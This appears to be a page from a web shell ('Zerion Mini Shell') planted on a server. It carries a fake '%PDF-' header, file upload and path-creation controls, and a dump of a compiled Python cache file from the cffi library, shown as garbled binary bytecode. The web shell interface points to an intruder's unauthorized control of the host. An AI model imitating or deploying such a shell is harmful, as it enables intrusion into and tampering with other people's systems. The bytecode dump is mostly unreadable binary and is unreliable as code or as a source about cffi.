%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib64/python3.7/site-packages/cffi/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib64/python3.7/site-packages/cffi/__pycache__/ffiplatform.cpython-37.pyc

B

ل=^��@s�ddlZddlZddlmZdddddgZdd
d�Zddd
�Zddd�Zyddlm	Z	Wne
k
rtdd�Z	YnXdd�Zyee
fZddlZWn ek
r�eZddlZYnXdd�Zdd�Zdd�ZdS)�N�)�VerificationError�sourcesZinclude_dirsZlibrary_dirsZ
extra_objectsZdepends�cKsLt�ddlm}|g}x|D]}|�tj�|��qW|f||d�|��S)Nr)�	Extension)�namer)�_hack_at_distutils�distutils.corer�append�os�path�normpath)Zsrcfilename�modnamer�kwdsrZ
allsources�srcrr�C/opt/alt/python37/lib64/python3.7/site-packages/cffi/ffiplatform.py�
get_extensions
rc
Csft�tj��}zt||||�}tj�|�}Wdx.|��D]"\}}tj�|�|kr:|tj|<q:WX|S)z-Compile a C extension module using distutils.N)	rr�environ�copy�_buildr�abspath�items�get)�tmpdir�ext�compiler_verbose�debugZ
saved_environZoutputfilename�key�valuerrr�compiles
rc
Csddlm}ddl}ddl}|d|gi�}|��|�d�}|dkrLtjj}d|f|d<d|d<d|f|d	<d|f|d
<yR|j	�
d�p�d}z.|j	�|�|�d�|�
d�}	|	��\}
Wd|j	�
|�XWnD|jj|jjfk
�r}ztd|jj|f��Wdd}~XYnX|
S)Nr)�DistributionZext_modulesZ	build_ext�ffiplatformr)r!T�forceZ	build_libZ
build_tempz%s: %s)r	r Zdistutils.errorsZ
distutils.logZparse_config_filesZget_option_dict�sys�flagsr�logZ
set_thresholdZ
set_verbosityZrun_commandZget_command_objZget_outputs�errorsZCompileErrorZ	LinkErrorr�	__class__�__name__)rrrrr Z	distutilsZdistZoptionsZ	old_levelZcmd_objZsoname�errrr s.


&r)�samefilecCstj�|�tj�|�kS)N)rrr)�f1�f2rrrr*Asr*cCs�tj�|�s|S|}g}xl|}tj�|�\}}||ks:|s>|S|�|�y$t|tj�rj|��tjj|�SWqt	k
r�YqXqWdS)N)
rr�isabs�splitr
r*�curdir�reverse�join�OSError)r�dir�namesZprevdirrrrr�maybe_relative_pathDs 
r5cCs�t|t�r"|�dt|�|f�n�t|t�rrt|���}|�dt|��x�|D]}t||�t|||�qPWndt|tt	f�r�|�dt|��xB|D]}t||�q�Wn*t|t
�r�|�d|f�ntd|f��dS)Nz%ds%sz%ddz%dlz%diz7the keywords to verify() contains unsupported object %r)�
isinstance�str�write�len�dict�sorted�keys�_flatten�list�tuple�int_or_long�	TypeError)�x�fr<rrrrrr=_s 





r=cCst��}t||�|��S)N)�	cStringIO�StringIOr=�getvalue)rBrCrrr�flattenrs
rGcCs0tjdkr,yddl}Wntk
r*YnXdS)NZwin32r)r#�platform�
setuptools�ImportError)rIrrrrws

r)r)rN)rN)r#r�errorrZLIST_OF_FILE_NAMESrrrZos.pathr*rJr5�intZlongr@rD�	NameError�ior=rGrrrrr�<module>s(




Zerion Mini Shell 1.0